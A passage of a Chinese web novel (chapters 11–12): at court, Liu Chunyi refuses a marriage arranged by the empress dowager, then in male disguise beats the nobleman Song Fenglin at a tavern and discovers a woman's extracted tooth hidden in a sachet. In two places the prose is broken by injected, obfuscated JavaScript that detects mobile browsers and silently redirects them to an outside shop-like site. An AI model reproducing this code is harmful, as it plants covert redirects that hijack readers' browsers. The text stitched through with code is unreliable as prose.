柳春意面露惊恐。 不是吧,她喜欢……他?可自己这样做,不太好吧…… 燕若星看她的表情就知道她想岔了。 “哎呀,其实我喜欢写话本,男主人公都是以九皇叔为原型的,最近灵感稍欠……好不好嘛~” 燕若星拉着柳春意的手晃晃,小嘴一撅,可怜巴巴的。 也不是什么害人的事,何况她也不一定要全部如实招来。 柳春意看着她鼓鼓的脸蛋,没忍住捏了一下,妥协道:“那好吧,不过你要告诉我,你写话本的署号是什么。” 燕若星揉了揉自己的脸,如实答道:“若星。” …… 真是个实诚的孩子。 燕若星解释道:“这你就不懂了吧,这就叫做最危险的署号就是最安全的署号。” 柳春意搞不来这个思想。 燕若星是真的会弹辞阳民乐,弹的还是今年因疫情肆虐新谱的曲子。 歌曲里的仓皇悲伤,尽从她的指尖诉出。 似怨似慕,似诉似泣。似寒蛩悲秋,似深山猿啼。 悲怆凄婉,令人潸然泪下。 一曲毕,两人眼眶湿润一片。 柳春意扬起笑脸,为她鼓掌。 两人一同去往正殿。 一大臣起身询问:“不知此曲,在悲何事?” 燕若星答道:“既是辞阳曲,应交辞阳女。” 柳春意行礼,解释道:“此曲是去年这个时候创作的。当时辞阳突发大旱,庄稼颗粒无收。百姓食不果腹,苦不堪言。而徭役赋税不降反增,民不聊生,堪比地狱。时至今日,辞阳仍未解决此等局面。” 辞阳刺史并未将此事上报。 柳春意本想以另一种方式引起皇帝对此事的重视,不曾想会遇到燕若星这样的人,提及辞阳事方便了许多。 果然,燕诚震怒,旋即派人前往辞阳一探究竟。 柳春意在燕池的注视下落座。 木槿早已泪流满面,强忍抽泣声。 柳春意拿出自己的手帕,放在木槿手里。 轻声道:“此事已过,莫要悲伤。” 下一首则不同于燕若星弹的那般悲痛,相反它欢快雀跃,令人振奋。 殿内赞赏之语不绝于耳。 太后眼梢带笑,眼底的骄傲欣赏之色掩都掩不住。 曲毕,女子走入正殿。 明黄齐腰襦裙配上一张香娇玉嫩的脸,明艳夺目,甚是亮眼。 这是当今国舅之女宋瑶琴,年芳十七。 太后招呼她坐至自己身侧,如此殊荣,大可让人看清她在太后心里的地位。 太后慈爱地抚摸她的头。 看向燕池道:“瑶琴如今也年至十七,是时候该嫁人了。也都怨哀家,过于宠爱她不愿她离开哀家身边,致使她的婚事一拖再拖。闲王年龄也不小了,虽说下月要迎娶柳氏女,可终究是侧妃,一介王爷,府邸里怎能没有一个管事的。今就由哀家做主,把哀家最疼爱的内侄女许配给你。” 嚯,终于说起这事了,到我上台表演了。 柳春意暗地活动了下手腕脚踝。 11. 酒楼 在大雍,先帝遗诏远比皇帝召令更有威重。 柳春意小脸一皱,在众人的注视下径自走到殿前,行跪拜礼,说道:“若皇太后执意如此,民女柳氏恳请陛下废除民女与闲王的婚约。” 此话一出,满堂哗然。 她不想活了吗? 宫里谁人不知当今皇帝最重口碑,若皇帝应允柳春意的请求,则是不孝先父。 果然,燕诚双眉紧皱,面色阴鸷,厉声道:“这是何意?” 他身旁的宋太后的脸色同样不好。 燕池看向虽跪在御前但却腰杆直挺从容不迫毫无惧色的柳春意。 一向平淡的眸底生出一股惊艳之色。 此女胆魄,不可小觑。 燕若星只是稍有讶然之意,她自知柳春意这样做一定有她的道理,若燕诚真要杀她,柳春意的背后还有她。 柳春意不在乎他们的态度,仍坚持道:“若太后要给闲王赐婚,那就恳请陛下,解除民女与闲王的婚约。民女所求不多,只愿能得一心人,白首不相离。既然无法实现,不如各自散去。” 宋太后面露不悦,说道:“柳氏,你可知过刚易折?王府不可一日无主母,王爷也不可一生无正妻。” 柳春意直起身,目光坚定地看向皇帝,“若陛下不允,民女只好撞死殿中,以死明志。” 区区一介草民,胆敢威胁天子! 木槿知道自家小姐刚毅,可不曾想她竟如此胆大。 腹前交叠的手抖个不停,她实在想不出该如何挽救这一局面。 云盛看出她的紧张,低声道:“不必担忧,殿中无人会赐死你家小姐。” 在这个时候,木槿非常需要这一句安慰自己的话。 燕池知道纵使燕诚再过生气,他也不能任由柳春意去死。 柳春意是先帝亲封侧妃,是国师亲点之人。 她不能死,至少不能在这里死。 燕池轻弹酒杯。 这是行动的讯号。 云盛递给木槿一个令人安心的眼神。 上前一步推着燕池走到柳春意旁边。 燕池低眉拱手道:“臣弟残缺之身,即已有幸与柳氏女订下婚约,不应再耽误其他女子。恳请皇太后,收回成命。” 夫妻俩一致请求,宋太后只好收回成命。 柳春意刚要站起来,一只修长如玉的手便递到了她面前。 她难得一愣。 燕池初次做这种事,虽然脸上依旧绷着,凤眸斜睨,一副冷淡样子,但他耳尖那抹红暴露出了他此刻羞赧的心境。 柳春意没有选择递上自己的手,她轻握燕池手腕,借力站起来。 口中轻吐:“多谢。” 经此一遭,待宴会散去,满京都都在传闲王喜欢泼辣的女子,说什么:烈女就应配美男。 趁着入夜跑去买男衣的柳春意听到这些话只想挨个辩驳回去。 什么泼辣啊?这明明是果敢好吗? 若不是今晚有要事在身,她定要与他们辩上一辩。 柳春意递上银子,从店家手里接过衣裳,找了一个隐蔽的地方换了上去。 她前夜去珍馐记的时候珍馐记已经闭馆了,今夜需得早些去才好。 柳春意身着天青色竹纹男服襦裙,外披豆绿色褙子,手拿折扇,头戴银冠。为了防止以后被认出来,她刻意用灶灰把露在外面的部位涂黑,用青黛加粗眉毛。 她现在俨然就是一位皮肤黝黑面容英气的男子,任是柳氏之人来此,也难以认出。 万事俱备。 柳春意摇着扇子走进珍馐记。 门口的小二蔑视地扫了她两眼,什么都不说。 狗眼看人低。 柳春意更加鄙夷地扫了回去,临进去前“嘁”了一声。 小二自然不能对顾客发作,只得忍下来。 柳春意寻了个能看清全局的好位置坐下,默默观察来往之人。 “别为景家开脱,他们一家就是因为杀欲过重才引来天火的,至少大家都是这么说的。人都死了,你执意为他们说话干什么?” 柳春意听到这话的第一反应就是皱眉,第二反应就是上去扇他一巴掌。 她起身,那一桌人侧目看她,脸上没什么表情, 哦,她不是景昭,不能冲上去打他们,否则就是故意挑事,于是第二反应被她生生压下。 “诶呦,贵人可算来了。宋爷这边请。” 先前那个狗眼看人低的小二夹着嗓子凑到来人跟前,谄媚的不行。 来人年龄不大,穿金戴银的,一看就是贵族家的男儿,听那小二的话,他估计还是这里的常客。 那人没有理会小二,抬袖将小而拂至一边,眼里的嫌弃之意是个人都能看出来。 他走到掌柜面前,四处看了下,确保没人往这边看的时候,取下腰间玉佩。 柳春意及时低下头,待那人回过头时将他的动作尽收眼底。 只听那人对掌柜说道:“货准备好了吗?” 他声音其实很小,但不知为何,柳春意听的一清二楚。 掌柜点头,招呼人引着他走进后厨。 有猫腻。 他嘴里的“货”大概率指的是软骨散。 可是她需要那个玉佩。 柳春意在外等的时间不足三刻。 那人笑意盈盈地从后厨走出来,他腰间多出一个十分的精致香囊。 软骨散! 柳春意正盘算着该如何抢过他身上的东西。 “贱人!没长眼睛吗?” 一声怒喊吸引了所有人的注意,柳春意也在其中。 他刚出来,因为心情不错,眼比天高,没注意到面前女子。一个不留神两人就撞在一起了。 他当然不认为是自己的错,贵人怎么可能有错? 那个所谓“宋爷”直接攥着那个女子的衣领,将她拖至面前,扬手就要一巴掌扇过去。 那个女子嘴上不停叫着一个男子的名字。 脸上的期望渐渐化为失望。 那个名字许是她夫君的名字,而她的所谓夫君此刻离得远远的,缩在椅子上一言不发,好似所有的事都与他无关。 柳春意鼻间轻哼一声。 靠不住的东西。 想象的疼痛没有落下,女子缓缓睁开眼睛。 一张黝黑英气的侧脸闯入她的视线,恍如救世神明。 柳春意一手钳住那个宋爷的手,另一只手鼓足了劲扇了过去。 “啪”一声脆响,宋爷脸上火辣辣的疼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058982|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他不可置信地抬眼看着面前男子。 整整十九年,他家里没有一个人打过他!他何曾受过这样的气。 柳春意皱眉歪头,不解他为什么这样看着自己,活像是她让他受了天大委屈。 那个宋爷大骂:“狗肚子里的东西!敢打你爷爷!你活腻了!” 柳春意不等他说完,另一只手又扇了过去。 直打的宋爷眼冒金星。 柳春意扭头和身旁的女子说:“莫要在此逗留,速速离去。” 那女子眼含热泪,重重点头,看都不看自己夫君一眼,转身离开。 那个怂蛋屁颠屁颠追了上去,让女人原谅他。 宋爷双手捂住自己的脸,眼里的怒意宛若熊熊燃烧的篝火。 他大喊:“狗奴才!把这个贱人给我压下!” 话音刚落,门口涌进来一窝蜂的人。 那个宋爷指着柳春意的鼻子,下令道:“给我好好修理他!打死也行!” 视人命如草芥,真该死呢。 柳春意瞬间握住那个宋爷的手指,指节用力,“咔嚓”一声,骨节错位。 “啊啊啊啊啊啊啊!” 整个珍馐记都是他的哀嚎声。 柳春意三下五除二躲过那些人的包围,转身潇洒离去。 手间拿着那个玉佩和香囊。 “给我追!追不到你们就给我滚蛋!” 后面传来宋爷气急败坏的喊叫声。 柳春意利落地翻到之前的巷子里,用早已准备好的东西将自己脸上画的妆擦拭干净,换上先前的女衣。 她刚才那一身实在是太过亮眼,容易被发现,还是换回来比较稳妥一些。 柳春意左脚才踏出巷口,身后就传来了一个熟悉的声音——是那个宋爷。 宋爷握着自己骨节错位的那跟手指,脸上龇牙咧嘴的,说出的话也难听的不成样子。 “站住!转过头来!” 柳春意权当是坏狗在乱吠,脸不红心不跳地向前走去。 “你耳朵聋吗!让你站住是听不到吗?” 耳朵自动听成“汪汪汪”。 天不遂人愿,柳春意一眼就看出来迎面驶来的是燕池的马车。 要完啊! 后面的人追得很紧,却不想前面的人猝不及防地转过身来。 一张明丽艳逸的脸骤然出现在视线里。 那个宋爷瞬间瞪大眼睛。 他怎从未见过如此绝色。 也顾不得自己被打的事,他急切地想要知道面前之女是谁家的。 如若是普通人家的…… “你是哪家的女儿?” 柳春意根本不想管他眼里的那些让人恶心的欲望,她只想快点离开这里,离开燕池的视线。 先假意跟着他们走,之后把他们打一顿再跑就好了。 总之无论如何,她一定不能被燕池抓到。 看出柳春意想跟他们走,那个宋爷大笑一声,对柳春意的自觉非常满意。 “要去哪?” 熟悉的清冷嗓音从后方传来。 柳春意心里咯噔一下,脚下步伐加快,闭眼就要往前走。 “走后就不要回来。” 嗓音比刚才低了好多,隐约含着怒意。 12. 质问 柳春意当机立断,她嘴巴微张转身向后看去,眼中写满了惊喜,眼角泪水如断了线的珍珠,一颗颗滴落在地。 她声音轻颤道:“夫君?是我的夫君吗?夫君,我头一次进京,迷路了。还好遇到了夫君,我们快些回府罢。” 柳春意未走几步,便被身后的人箍住肩膀拖至宋爷身旁,她强忍着还手的冲动,楚楚可怜地望向马车。 宋爷不可一世地跨出一步,把柳春意挡在身后,他恨不得用自己的鼻孔看人,鄙夷道:“车中何人?这女子我看上了,左右不过是玩物罢了,待我玩够自会还你,你出个价罢!” 他是当今国舅爷独子宋风临,生来便受尽追捧,养成了如此张扬跋扈肆意妄为的性子。 云琼拉开舆帘,露出车里燕池冷艳的脸。 不同于往日那般漠不关心,燕池此刻脸色阴沉可怖,凤眸染上戾气,不悦地盯着宋风临。 宋风临难得一噎,他此前从未在街上遇到过燕池。 燕池视线穿过宋风临,落在被压着的柳春意身上。 “过来。” 得到应允,柳春意奋力挣开那人的束缚,扬手拍拍自己肩膀,嫌弃道:“你浣手了吗就碰我?” 那人听到此语,怒火中烧,抬手就要打过去。 宋风临喝道:“住手!” 他从未听说过燕池什么时候结亲了,可那女子却唤他夫君,赏菊宴他虽未去,但柳氏女的传闻他可听说了不少,先帝赐婚,这人是他动不了的。 一路目视柳春意上车坐至自己身边,燕池才转眸看向宋风临,淡淡警告道:“宋公子有暇在街上捉本王的人,倒不如好好想想该如何平息国公的怒火。” 说罢,他看都不看宋风临,闭眸吩咐:“回府。” 柳春意一语不发,缩在角落,极力降低自己的存在感。 燕池没有睁眼,沉声告诫道:“柳春意,我从不留不安分的人,你最好老实一点。” 柳春意快速点头,往燕池那边靠了靠,放柔声音道:“嗯嗯,夫君我最老实了。” 燕池睁眼瞥她,捏着手中的书托起她的胳膊,将她衣袖处沾着的一片可疑黑粉递到她眼前,他问道:“半夜不睡出门做亏心事?” 柳春意也不知她是何时染上的,她将衣袖伸出牖外,侧身避开燕池视线,企图用手把脏污拍干净,嘴上说着:“夫君可是冤枉我了,我只不过是贪吃,去酒楼里吃了些点心罢了,坐在角落无意蹭了些灰。” 燕池眼里凝着疑色,显然是不信的,他拿书抵着柳春意肩膀,后者顺着他的力坐正,燕池直视柳春意的眼睛,询问道:“本王有些好奇,你是如何出府的?” 柳春意低头摆弄自己的衣服,闻此言,抬头坦荡回视,疑惑道:“夫君怎的问起这个了,夫君难道不知道客房有个后门吗?” 燕池当然清楚,他追问:“那你又如何知晓院中有人盯着你?休言你不知晓此事。” 柳春意杏眼骤然睁大,一脸吃惊地道:“那刺客竟是夫君的人?!夫君是想让我死在闲王府吗?” 倒打一耙的功夫使起来越发得心应手了。 见燕池不说话,柳春意绕着他质问。 燕池轻捏眉心,耳边嘈杂的声音吵的他头疼。 “莫要胡闹,如实招来,你为何知晓院中有人?” 柳春意坐了回去,哼哼了两声,骄傲地道:“夫君有所不知,我借着月色看出水池里的倒影不对劲,我还以为是谁看不得我在宴上的做派要暗地刺杀我呢。正巧我肚子饿了,这才偷摸出府找吃的,一来保证自身安全,二来保证肚子不饿。我聪明罢?” 燕池不理她。 看出燕池眼里疑色仍旧未消,柳春意右手举起呈发誓状,“我对天发誓,我今日所言若有一句假话,便出门被马车撞死,沐浴被热水烫死,用膳被食物噎死……” 眼瞧着她嘴上没个把门,燕池斜睨了她一眼,“闭嘴,休要胡言。” 柳春意依言闭嘴,燕池也没有再追问,反而提起了另一件事。 燕池垂眸看书,嘱咐道:“你切莫再轻易落泪,既是我误了你,我定会护住你,你不必担忧自身安危。” 很出乎意料的一番话。 柳春意轻轻点头,抛出了另一个更奇怪的问题:“珍馐记是你的产业吗?若是的话,我下次可不可不付银子?我都没有银子了。” 她声音放的很轻,听起来有些撒娇意味。 燕池伸手取下腰间钱袋,递给柳春意,回答道:“不,它是宋家产业。你若缺银子大可去找赵管家。” 柳春意嗯了一声,捏着手里鼓鼓的钱袋,闭眼假寐,心里琢磨今日之事。 珍馐记里的人都说景家杀气太重,以至于引来天火。但却鲜少有人记挂景家杀气重的缘由,如若没有景家在战场上的浴血奋战,哪里来的他们的太平生活? 马车慢悠悠地驶到闲王府,柳春意待在车上不动。 云盛掀开舆帘,不解地看着柳春意。 以往柳春意总是第一个下车的。 三个人轮流你看着我,我看着你。 燕池轻叹一口气,看着她有些幽怨地道:“你是要在车上睡吗?” 柳春意是真想看着他究竟是怎么下马车的,她下车,伸出头朝车舆内看去。 云盛俯身从车里取出两节木杖,燕池借力起身。 他全程都是这样自己一个人撑着走,没让云盛背他一下。 看他的动作,柳春意确信他的病未好。 燕池在柳春意的注视下坐上马车,浑身不适,他蹙眉看向柳春意,不满道:“你看够了么?” 柳春意嘴角挂上清甜笑意,夸赞道:“夫君容貌殊绝,我是怎么看都看不够的。” 燕池轻咳一声,未置一言。 柳春意和燕池告别,蹦蹦跳跳地跑向客房。 躲在假山后的云琼听到脚步声,回头看去,只见本应在客房里休息的柳春意此刻正站在他面前,脸上带着爽朗的笑容,开心地对着他招手。 鲜少有表情的脸上不免出现一丝裂痕。 这张脸鲜活起来倒和云盛的脸有些相似。 柳春意被他的表情逗笑了,她指着水里倒影说:“不要惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058983|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶,你看呀,谁家假山倒影会这么大。” 云琼怎么也没想到自己会被她发现,心口闷疼。 柳春意解释完也不看他,径自跑进客房里,扒着门对他道:“外头可冷了,云琼小兄弟快快回去歇息罢,不要站在外面白白受冻。” 都被目标发现了,实在没什么继续盯下去的必要了,云琼只得回去复命,脸色黑的很。 听罢他的话,云盛在一旁嬉笑道:“这就是当年鸢影卫第一?含水量有些高了罢。” 云琼自知理亏,没有反驳。 燕池放下手中无题书,瞟了云盛一眼,说道:“怎?当年在比武上受的气,你是要靠嘴讨回来吗?” 被刺了一下,云盛笑意消失,耷拉个脸,颓颓道:“哦,属下知错。” 燕池看向单膝跪在地上的云琼,吩咐道:“起来罢,别盯她了,去皇宫里做件事。” 柳春意换好衣服坐在凳子上,打开从宋风临那里拿来的香囊。 这香囊上绣着两只鱼一黄一红,首尾相逐,形成饼状,针脚精妙,绣艺绝伦。 柳春意本以为里面装的是软骨散,可打开却发现里面只不过是些很简单的香料。 她不禁有些颓然。 可是……柳春意凑近嗅了嗅,此香料里怎混着一股淡淡的血腥味,若不是她对气味敏感,怕也注意不到这些。 柳春意把香料都掏出来,一直掏到最后。 一个白色的东西混着香料被她放在桌子上。 柳春意将它挑出来放在烛光底下,眯眼查看,看清的一瞬间心里咯噔一下。 那赫然是一颗犬齿!但是却偏纤细,结合宋风临的身长体型,很容易就能推测出来,这根本不是宋风临的!这分明是一个被硬生生拔掉的女性牙齿! 柳春意的心一下子降到了极点,只觉浑身裹满冷意,如坠冰窟。 珍馐记底下的秘密也许比软骨散更骇人。 “车中何人?这女子我看上了,左右不过是玩物罢了,待我玩够自会还你,你出个价罢!” 宋风临的话在她脑海里回荡,犹如阎王低语。 落在他手里的女子究竟有多少? 心里的不安逐渐转变为暴躁,可她只能等到明晚才能行动,但愿自己来得及。 柳春意把所有东西都塞进香囊里,脸色沉重。 可惜软骨散的线索断了,但是那么大量的软骨散一定要许多的软芷。 而软芷对生长环境要求很高,尤其是在干燥寒冷的京都,它主要生长在山里或者泉边。 软芷在每年的八月到十一月成熟,需要晾晒十天之后再磨成粉才能入药。 并且其药性磨粉后散失的很快,必须三天内使用。 按时间算,他们家中的软骨散应该是第一批,时间很紧,必不可能是从其它地方运输来的。 更何况,软芷是禁药,是不许种植运输的。 如今她只能去京郊的绿裙山上看看了,这是京都唯一可能种植软芷的地方。 她不确定,燕池究竟是不是凶手。 走一步看一步罢。